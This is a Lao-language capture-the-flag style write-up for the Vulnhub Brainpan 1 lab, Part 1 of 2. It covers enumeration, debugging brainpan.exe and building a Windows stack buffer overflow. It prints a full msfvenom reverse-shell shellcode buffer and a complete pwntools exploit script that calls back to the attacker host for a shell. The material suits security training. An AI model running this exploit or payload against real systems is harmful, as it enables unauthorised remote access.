0

ຄົວແຟັ້ງພາຂຽນ Exploit ແບບຣົວໆໆກັບໂຈດ Brainpan! [Part 1/2]

ສະບາຍດີທ່ານຜູ່ອ່ານຜູ່ມີກຽດ ຫຼັງຈາກນີ້ໜ້າຈະກັບມາອັບເດດ blog ໂຕເອງຫລາຍຂຶ້ນໜ້າຈະຍ້າຍມາຈາກ Medium ເລີຍເພາະມີ blog ໂຕເອງກະຕ້ອງຂຽນຢູ່ບ່ອນໂຕເອງແລະແມ່ນບໍ່ ດຽວເສຍຄ່າ Domain & Host ຟຣີທີ່ລຸງໃຫ້ຈະບໍ່ຄຸ້ມກໍ

ມື້ນີ້ຕາມກະແສໜ້ອຍໜຶ່ງເນາະຄົວແອັດຈະທຸກຄົນດຳດິ່ງສູ່ໂລກແຫ່ງການເຮັດ Exploitation ພາວິເຄາະໂປແກມກ່ອນຈະເຈາະມັນແລ້ວຂຽນເປັນ Exploit script ອອກມາ ໂດຍໜູທົດລອງຂອງເຮົາຄືໂຈດ Brainpan 1 ຈາກ Vulnhub ໃຫ້ເບິ່ງເຊິ່ງໂຈດຂໍ້ນີ້ແມ່ນມ່ວນຫລາຍເພາະວ່າເຮົາຕ້ອງໄດ້ເຮັດ Buffer Overflow ເຖິງ 2 ເທື່ອເລີຍ! ທັງ exploit Windows ແລະ Linux ສະນັ້ນຮັບປະກັນອັດແໜ້ນໄປດ້ວຍພາສາ Assembly ແນ່ນອນ ຫະຫະ ອ່ານລະຄືຊິຍາກເນາະບໍ່ຕ້ອງຫ່ວງຍາກອີຫລີ ຫະຫະ ແຕ່ຖ້າຕັ້ງໃຈອ່ານຄົວແອັດເຊື່ອວ່າທຸກຄົນສາມາດເຂົ້າໃຈໄດ້ບໍ່ຍາກ!!

ສິ່ງທີ່ຄວນຮູ້ກ່ອນເລີ່ມ

ບົດຄວາມນີ້ເໝາະກັບຜູ່ທີ່ມີຄວາມຮູ້ພື້ນຖານກ່ຽວກັບ
Memory – Stack
Buffer Overflow
ພາສາ Assembly
ພາສາ Python

ຢ້ຳເນາະວ່າພື້ນຖານສະນັ້ນບໍ່ຕ້ອງຢ້ານ! ໄປລຸຍກັນເລີຍ!

ສະພາບແວດລ້ອມລະບົບ

Kali
Windows 7 32bits

ຫຼັງຈາກເຮົາໂຫລດໂປແກມແລ້ວ Boot ໂຕ Lab ຂຶ້ນມາປະໃຫ້ມັນ run ແບບງົງໆໄປແບບນັ້ນເຮົາມາເຮັດຂັ້ນຕອນທຳອິດກ່ອນເລີຍຄືການເຮັດ

Enumeration

ຊອກກ່ອນວ່າເຄື່ອງເປົ້າໝາຍຢູ່ IP ໃດໃນວົງ Network

netdiscover -i eth1 -r 192.168.56.0/24

ກໍ່ໄດ້ຜົນລັບແບບນີ້ອອກມາສັງເກດເຫັນ IP ທີ່ໜ້າສົງໄສຄື 192.168.56.102

ຕໍ່ມາເຮົາກໍ່ຈະ scan ເບິ່ງວ່າ IP ນີ້ເປີດ Port ຫຍັງແດ່ນໍ?

ເຫັນວ່າມີຢູ່ 2 Port ທີ່ເປີດນັ້ນກໍ່ຄື Port 9999 (Binary) ແລະ 10000 (HTTP)
ເຊິ່ງເມື່ອເຮົາ connect ເຂົ້າ Port 9999 ມັນກໍ່ຈະໃຫ້ເຮົາໃສ່ password ດັ່ງນີ້ໃສ່ໄປກໍ່ບໍ່ຖືກເພາະເຮົາບໍ່ຮູ້ລະຫັດຜ່ານເທື່ອ

ເຮົາມາເບິ່ງ Port 10000 ເຊິ່ງເປັນ HTTP Server ເມື່ອເປີດຜ່ານ web browser ແລ້ວກໍ່ຈະເຫັນໜ້າແບບນີ້

ເມື່ອເຮົາເຫັນເປັນເວັບແບບນີ້ບໍ່ຄິດຫຍັງຫລາຍ scan directory ຢ່າງດ່ວນໆໆດ້ວຍ gobuster

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.56.102:10000

ຈະເຫັນວ່າມີ directory ທີ່ໜ້າສົນໃຈຢູ່ນັ້ນຄື /bin

ເຂົ້າໄປຈະມີໄຟລ໌ Brainpan.exe ໃຫ້ເຮົາດາວໂຫລດກໍ່ໂຫລດມາເລີຍ ຈາກສະກຸນໄຟລ໌ເຮົາກະພໍຈະຮູ້ແລ້ວເນາະວ່າມັນສຳລັບລະບົບໃດ ແຕ່ມາກວດເບິ່ງວ່າມັນເປັນໄຟລ໌ແບບໃດເພື່ອໃຫ້ແນ່ໃຈ

ຈະເຫັນວ່າເປັນໄຟລ໌ execute ຂອງ Windows ນະແລະເຮົາກໍ່ລອງເອົາໄປເປີດໃນ Windows ເບິ່ງວ່າຈະເປັນແນວໃດ

ເມື່ອ run ໂປແກມ brainpan.exe ແລ້ວຈະເຫັນວ່າມັນເປີດ port 9999 ເຊິ່ງກໍ່ຮູ້ສຶກຄຸ້ນໆໆແມ່ນບໍ່ ລອງໃຊ້ Kali ເຮົາ connect ໄປເຄື່ອງ Windows(192.168.56.103) ຜ່ານ port 9999

Exploit Development

ຄືກັນເປະ! ກັບອັນທີ່ເຮົາ connect ໄປເຄື່ອງ Lab ເຮົາແປວ່າເຮົາສາມາດລອງສອຍ Brainpan.exe ຜ່ານເຄື່ອງ Windows ຂອງເຮົາໄດ້ແລ້ວເຮົາກໍ່ສາມາດ debug ເບິ່ງສິ່ງຕ່າງໆໄດ້.
ລອງໂຍນ brainpan.exe ເຂົ້າໂປແກມສຸດ classic ຊື່ວ່າ Immunity Debugger ເບິ່ງວ່າຈະໄດ້ຂໍ້ມູນຫຍັງໜ້າສົນໃຈບໍ່ເຊັ່ນວ່າ password ສຳລັບໂຕໂປແກມນີ້ເປັນຕົ້ນ

ເມື່ອ attach ໂຕ process ຂອງໂປແກມ brainpan.exe ເຂົ້າມາແລ້ວເລື່ອນລົງເຮົາຈະເຫັນວ່າມີການເອີ້ນໃຊ້ function strcmp ເພື່ອປຽບທຽບ strings ຫຍັງຈັກຢ່າງ ແລະມີຄຳທີ່ໜ້າສົນໃຈນັ້ນກໍ່ຄື shitstorm ຄິດວ່າໜ້າຈະແມ່ນ password ລອງເອົາໄປພິມໃສ່ເບິ່ງ

ຈະເຫັນວ່າເຮົາໄດ້ ACCESS GRANTED ແລ້ວ!!! ແລ້ວແນວໃດຕໍ່ບາດນີ້ບໍ່ມີຫຍັງເກີດຂຶ້ນ ຫະຫະ ຫຼັງຈາກເຮົາໄດ້ password ທີ່ໄຮ້ປະໂຫຍດແລ້ວມາລອງເຮັດ buffer overflow ກັບໂປແກມນີ້ເບິ່ງວ່າຈະເປັນຈັ່ງໃດ

ໂດຍເຮົາຈະສົ່ງໂຕ A ເຂົ້າຈັກ 1000 ໂຕເຂົ້າໄປໃນຊ່ອງ Password ນີ້ເບິ່ງວ່າຈະເປັນຈັ່ງໃດ

ສົ່ງເຂົ້າໄປກົດ enter ປຸບຄ້າງເລີຍບໍ່ມີການ response ກັບມາວ່າ Access Denied ຫລື Access Granted, ມາກວດເບິ່ງຝັງ Windows

ຈາກຮູບທາງເທິງເຫັນວ່າ Stack & Register – EBP, EIP ຕ່າງໆຖືກ overwrite ເປັນ 41414141 ໝົດເຊິ່ງວ່າຖ້າຄົນທີ່ບໍ່ຮູ້ 41 ແມ່ນ A ນັ້ນແລະສາມາດກວດເບິ່ງໄດ້ໃນ ASCII Table ເລີຍ ສະນັ້ນຈາກອາການແບບທາງເທິງນີ້ເຮົາໝັ້ນໃຈແລ້ວວ່າມັນຄື Buffer Overflow! ມາເບິ່ງຮູບທາງລຸ່ມນີ້ເພື່ອໃຫ້ເຂົ້າໃຈຫຼາຍຂຶ້ນ

ຮູບຈາກ: https://www.securitysift.com/windows-exploit-development-part-2-intro-stack-overflow/

ເມື່ອເປັນແບບນີ້ເຮົາກະບໍ່ມີທາງເລືອກນອກຈາກວິເຄາະ ແລະພັດທະນາ exploit ມາເພື່ອຍິງໂປແກມນີ້ແລ້ວໃຫ້ມັນ reverse shell ກັບມາຫາເຮົາ ຫຼັກການຄ້າວໆກໍ່ຈະປະມານຮູບລຸ່ມນີ້ເລີຍ

ເຊິ່ງເປົ້າໝາຍເຮົາແມ່ນການເຮັດ overflow ໄປໃຫ້ມັນທັບຄ່າ EIP ( address ຂອງຄຳສັ່ງຕໍ່ໄປທີ່ໂປແກມຈະເຮັດວຽກ ) ເປົ້າໝາຍເຮົາແມ່ນຂຽນທັບ EIP ໃຫ້ໄດ້ເພື່ອໃຫ້ມັນຊີ້ໄປ address shellcode ເຮົາເຊິ່ງ shellcode ເຮົາຈະຢູ່ທີ່ stack ສະນັ້ນຕ້ອງໂດດໄປ ESP (Stack Pointer) ນັ້ນເອງ 😉 ງ່າຍແມ່ນບໍ່~

ກ່ອນເຮົາຈະຂຽນທັບ EIP ໄດ້ເຮົາຕ້ອງຊອກຫາກ່ອນວ່າຕ້ອງສົ່ງຂໍ້ມູນໄປຈັກໂຕອັກສອນຈຶ່ງຮອດໂຕ EIP ເຮົາສາມາດຮູ້ໄດ້ດ້ວຍການສ້າງ pattern ໂຕອັກສອນທີ່ບໍ່ຊ້ຳກັນເພື່ອໃຫ້ມັນໄປຂຽນທັບ EIP ແລ້ວເຮົາຈຶ່ງຈະຮູ້ໄດ້ວ່າເຮົາຕ້ອງສົ່ງຈັກໂຕອັກສອນເຂົ້າໄປຈຶ່ງຈະຮອດ EIP

ເຮົາຈະໃຊ້ pattern_create.rb ເພື່ອສ້າງ pattern

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

ເຮົາກໍ່ຈະໄດ້ pattern ຍາວ 1000 ໂຕອັກສອນແບບນີ້ມາເຮົາກໍ່ລອງເອົາໂຕອັກສອນພວກນີ້ສົ່ງເຂົ້າໄປໂປແກມເບິ່ງ

ຈະເຫັນວ່າ EIP ຖືກຂຽນທັບດ້ວຍ 35724134
ເຮົາສາມາດນຳເລກທີ່ໄດ້ມາກວດຫາຕຳແໜ່ງມັນດ້ວຍຄຳສັ່ງ pattern_offset.rb ແບບນີ້

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
ຜົນລັບ -> [*] Exact match at offset 524

ແປວ່າຖັດໄປ 8 bytes ຫຼື 32bits ຫລັງຈາກ 524 ໂຕອັກສອນຈະແມ່ນ EIP ນັ້ນເອງ! ມາລອງພິສຸດກັນເລີຍ
ດ້ວຍການສົ່ງໂຕ A ໄປ 524 ໂຕຕາມດ້ວຍໂຕ B 4 ໂຕ ແລະ C ອີກຈັກ 200 ໂຕເພື່ອໃຫ້ຮູ້ວ່າເຮົາສາມາດຂຽນ C ລົງໄປໃນ stack ໄດ້

ຈະເຫັນໄດ້ວ່າ EIP ເຮົາຖືກຂຽນທັບດ້ວຍເລກ 42424242 ຫລືກໍ່ຄື BBBB ແລະ Stack ກໍ່ຖືກກຸ່ມໂຕອັກສອນ C ໂຈມຕີຢ່າງໜັກໜ່ວງເຊິ່ງໂຕ C ກໍ່ຄືເລກ 43 ຕາມເລກ ASCII ນັ້ນເອງ!
ແບບນີ້ແປວ່າເຮົາສາມາດ control ໂຕ EIP & Stack ໄດ້ສົມບູນແລ້ວສາມາດຊີ້ໃຫ້ມັນໄປເຮັດວຽກຢູ່ໃສກໍ່ໄດ້ຕາມໃຈເຮົາເລີຍ

Exploit!

ກ່ອນເຮົາຈະໄປຂຽນ exploit ຄົວແອັດຢາກໃຫ້ທ່ານຜູ່ອ່ານເຫັນພາບວ່າເຮົາຈະຂຽນ exploit ຈັ່ງໃດເພື່ອໃຫ້ເຂົ້າໃຈກົງກັນເນາະ

cr: https://resources.infosecinstitute.com/brainpan_virtual_machine/#gref

ມາຂັ້ນຕອນສຸດທ້າຍເຮົາມາຂຽນ python script ເພື່ອ exploit ໂຕໂປແກມນີ້ກັນເລີຍ!
ກ່ອນອື່ນໝົດເຮົາມາຊອກຫາບ່ອນວາງ shell ສາກ່ອນນັ້ນກໍ່ຄື ESP ເຮົາຕ້ອງຫາ address ຂອງຄຳສັ່ງ JMP ESP ເພື່ອທີ່ຈະໃຫ້ໂຕ EIP ຊີ້ໄປ JMP ESP ເຊິ່ງເປັນຄຳສັ່ງທີ່ຈະກະໂດດໄປ ESP ທີ່ມີ shellcode ຂອງເຮົາຈະນອນຖ້າຢູ່ບ່ອນນັ້ນ, ວິທີຫາ JMP ESP ກໍ່ຄືໃຊ້ຄຳສັ່ງໃນ immunity debugger

!mona find -s "\xff\xe4" -m brainpan.exe

FFE4 ຈະໝາຍຄວາມວ່າ JMP ESP ນັ້ນແລະເມື່ອ run ຄຳສັ່ງນີ້ແລ້ວຈະໄດ້ result ວ່າກວດພົບເຫັນ JMP ESP ຢູ່ address ໜຶ່ງນັ້ນຄື 311712F3

ລອງກົດ double click ເຂົ້າໄປມັນກໍ່ຈະພະເຮົາມາ address 311712F3 ດັ່ງຮູບລຸ່ມນີ້

ເມື່ອເຮົາໄດ້ address JMP ESP ແລ້ວເຮົາກໍ່ມາ generate shellcode ສຳລັບ Windows ດ້ວຍ msfvenom

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f python

ກໍ່ຈະໄດ້ shell ມາແບບນີ້

buf =  ""
buf += "\xb8\x5e\x75\x68\xa1\xdb\xd3\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x52\x31\x47\x12\x03\x47\x12\x83\x99\x71\x8a"
buf += "\x54\xd9\x92\xc8\x97\x21\x63\xad\x1e\xc4\x52\xed\x45"
buf += "\x8d\xc5\xdd\x0e\xc3\xe9\x96\x43\xf7\x7a\xda\x4b\xf8"
buf += "\xcb\x51\xaa\x37\xcb\xca\x8e\x56\x4f\x11\xc3\xb8\x6e"
buf += "\xda\x16\xb9\xb7\x07\xda\xeb\x60\x43\x49\x1b\x04\x19"
buf += "\x52\x90\x56\x8f\xd2\x45\x2e\xae\xf3\xd8\x24\xe9\xd3"
buf += "\xdb\xe9\x81\x5d\xc3\xee\xac\x14\x78\xc4\x5b\xa7\xa8"
buf += "\x14\xa3\x04\x95\x98\x56\x54\xd2\x1f\x89\x23\x2a\x5c"
buf += "\x34\x34\xe9\x1e\xe2\xb1\xe9\xb9\x61\x61\xd5\x38\xa5"
buf += "\xf4\x9e\x37\x02\x72\xf8\x5b\x95\x57\x73\x67\x1e\x56"
buf += "\x53\xe1\x64\x7d\x77\xa9\x3f\x1c\x2e\x17\x91\x21\x30"
buf += "\xf8\x4e\x84\x3b\x15\x9a\xb5\x66\x72\x6f\xf4\x98\x82"
buf += "\xe7\x8f\xeb\xb0\xa8\x3b\x63\xf9\x21\xe2\x74\xfe\x1b"
buf += "\x52\xea\x01\xa4\xa3\x23\xc6\xf0\xf3\x5b\xef\x78\x98"
buf += "\x9b\x10\xad\x0f\xcb\xbe\x1e\xf0\xbb\x7e\xcf\x98\xd1"
buf += "\x70\x30\xb8\xda\x5a\x59\x53\x21\x0d\xa6\x0c\x11\xa8"
buf += "\x4e\x4f\x61\x23\xd3\xc6\x87\x29\xfb\x8e\x10\xc6\x62"
buf += "\x8b\xea\x77\x6a\x01\x97\xb8\xe0\xa6\x68\x76\x01\xc2"
buf += "\x7a\xef\xe1\x99\x20\xa6\xfe\x37\x4c\x24\x6c\xdc\x8c"
buf += "\x23\x8d\x4b\xdb\x64\x63\x82\x89\x98\xda\x3c\xaf\x60"
buf += "\xba\x07\x6b\xbf\x7f\x89\x72\x32\x3b\xad\x64\x8a\xc4"
buf += "\xe9\xd0\x42\x93\xa7\x8e\x24\x4d\x06\x78\xff\x22\xc0"
buf += "\xec\x86\x08\xd3\x6a\x87\x44\xa5\x92\x36\x31\xf0\xad"
buf += "\xf7\xd5\xf4\xd6\xe5\x45\xfa\x0d\xae\x76\xb1\x0f\x87"
buf += "\x1e\x1c\xda\x95\x42\x9f\x31\xd9\x7a\x1c\xb3\xa2\x78"
buf += "\x3c\xb6\xa7\xc5\xfa\x2b\xda\x56\x6f\x4b\x49\x56\xba"

ເທົ່ານີ້ເຮົາກໍ່ມີທຸກຢ່າງຄົບແລ້ວກໍ່ເອົາມັນມາປະກອບເຂົ້າກັນໃນ exploit ນີ້ຄົວແອັດຈະໃຊ້ lib pwntools ໃນການຊ່ວຍຂຽນ exploit ພວກສະດວກດີ, ເມື່ອເຮົາເອົາຂໍ້ມູນທຸກຢ່າງທີ່ເຮົາມີມາສັງລວມເຂົ້າກັນເຮົາກໍ່ຈະໄດ້ exploit script ໜ້າຕາປະມານນີ້

#By Frankkung
#Brainpan writeup
from pwn import *

sh = remote('192.168.56.103', 9999)

#JUNK 524 bytes
#EIP 311712F3
Junk = 'A'*524
EIP = p32(0x311712F3)
NOP = '\x90'*20
buf =  ""
buf += "\xb8\x5e\x75\x68\xa1\xdb\xd3\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x52\x31\x47\x12\x03\x47\x12\x83\x99\x71\x8a"
buf += "\x54\xd9\x92\xc8\x97\x21\x63\xad\x1e\xc4\x52\xed\x45"
buf += "\x8d\xc5\xdd\x0e\xc3\xe9\x96\x43\xf7\x7a\xda\x4b\xf8"
buf += "\xcb\x51\xaa\x37\xcb\xca\x8e\x56\x4f\x11\xc3\xb8\x6e"
buf += "\xda\x16\xb9\xb7\x07\xda\xeb\x60\x43\x49\x1b\x04\x19"
buf += "\x52\x90\x56\x8f\xd2\x45\x2e\xae\xf3\xd8\x24\xe9\xd3"
buf += "\xdb\xe9\x81\x5d\xc3\xee\xac\x14\x78\xc4\x5b\xa7\xa8"
buf += "\x14\xa3\x04\x95\x98\x56\x54\xd2\x1f\x89\x23\x2a\x5c"
buf += "\x34\x34\xe9\x1e\xe2\xb1\xe9\xb9\x61\x61\xd5\x38\xa5"
buf += "\xf4\x9e\x37\x02\x72\xf8\x5b\x95\x57\x73\x67\x1e\x56"
buf += "\x53\xe1\x64\x7d\x77\xa9\x3f\x1c\x2e\x17\x91\x21\x30"
buf += "\xf8\x4e\x84\x3b\x15\x9a\xb5\x66\x72\x6f\xf4\x98\x82"
buf += "\xe7\x8f\xeb\xb0\xa8\x3b\x63\xf9\x21\xe2\x74\xfe\x1b"
buf += "\x52\xea\x01\xa4\xa3\x23\xc6\xf0\xf3\x5b\xef\x78\x98"
buf += "\x9b\x10\xad\x0f\xcb\xbe\x1e\xf0\xbb\x7e\xcf\x98\xd1"
buf += "\x70\x30\xb8\xda\x5a\x59\x53\x21\x0d\xa6\x0c\x11\xa8"
buf += "\x4e\x4f\x61\x23\xd3\xc6\x87\x29\xfb\x8e\x10\xc6\x62"
buf += "\x8b\xea\x77\x6a\x01\x97\xb8\xe0\xa6\x68\x76\x01\xc2"
buf += "\x7a\xef\xe1\x99\x20\xa6\xfe\x37\x4c\x24\x6c\xdc\x8c"
buf += "\x23\x8d\x4b\xdb\x64\x63\x82\x89\x98\xda\x3c\xaf\x60"
buf += "\xba\x07\x6b\xbf\x7f\x89\x72\x32\x3b\xad\x64\x8a\xc4"
buf += "\xe9\xd0\x42\x93\xa7\x8e\x24\x4d\x06\x78\xff\x22\xc0"
buf += "\xec\x86\x08\xd3\x6a\x87\x44\xa5\x92\x36\x31\xf0\xad"
buf += "\xf7\xd5\xf4\xd6\xe5\x45\xfa\x0d\xae\x76\xb1\x0f\x87"
buf += "\x1e\x1c\xda\x95\x42\x9f\x31\xd9\x7a\x1c\xb3\xa2\x78"
buf += "\x3c\xb6\xa7\xc5\xfa\x2b\xda\x56\x6f\x4b\x49\x56\xba"

payload = Junk+EIP+NOP+buf

sh.recvuntil(">> ")

sh.sendline(payload)

ຈາກ code ທາງເທິງເຮົາຊີ້ໄປເຄື່ອງ Windows ຂອງເຮົາເມືອເຮົາເປີດໂປແກມ Brainpan.exe ປະໄວ້ແລ້ວ run script ທາງເທິງນີ້ດ້ວຍ Kali ເຮົາຈະໄດ້ຜົນລັບມາແບບນີ້~

ໄດ້ Reverse Shell ແລ້ວ!! ບາດນີ້ເຮົາມາປ່ຽນ IP ເປັນເຄື່ອງ Lab ຂອງ Brainpan ເລີຍເບິ່ງວ່າຈະໄດ້ຜົນບໍ່ປ່ຽນ IP ໃນ code ຈາກ 192.168.56.103 -> 192.168.56.102 ແລ້ວລອງ run exploit ໃໝ່!!!

YASSSSSSSSSS! ເຂົ້າມາເຄື່ອງເປົ້າໝາຍໄດ້ແລ້ວວວ ນ້ຳຕາຈິໄຫລ… ຕອນນີ້ກະ 01:18 AM ແລ້ວຄົວແອັດວ່າໜ້າຈະພໍເທົ່ານີ້ສຳລັບ Part 1 ແລ້ວເຮົາມາຕໍ່ Part 2 ກັບການໂຈມຕີ BoF ໃນ Linux

ຢ່າລືມແຊຣ໌ ອອກໄປໃຫ້ຄົນອື່ນທີ່ສົນໃຈໄດ້ມີໂອກາດອ່ານ ແລະເປັນກຳລັງໃຈໃຫ້ຄົວແອັດແດ່ເດີ້

ຂອບໃຈ~~!!

Frankkung

Frankkung

FULLSTACK DEVELOPER - PENETRATION TESTER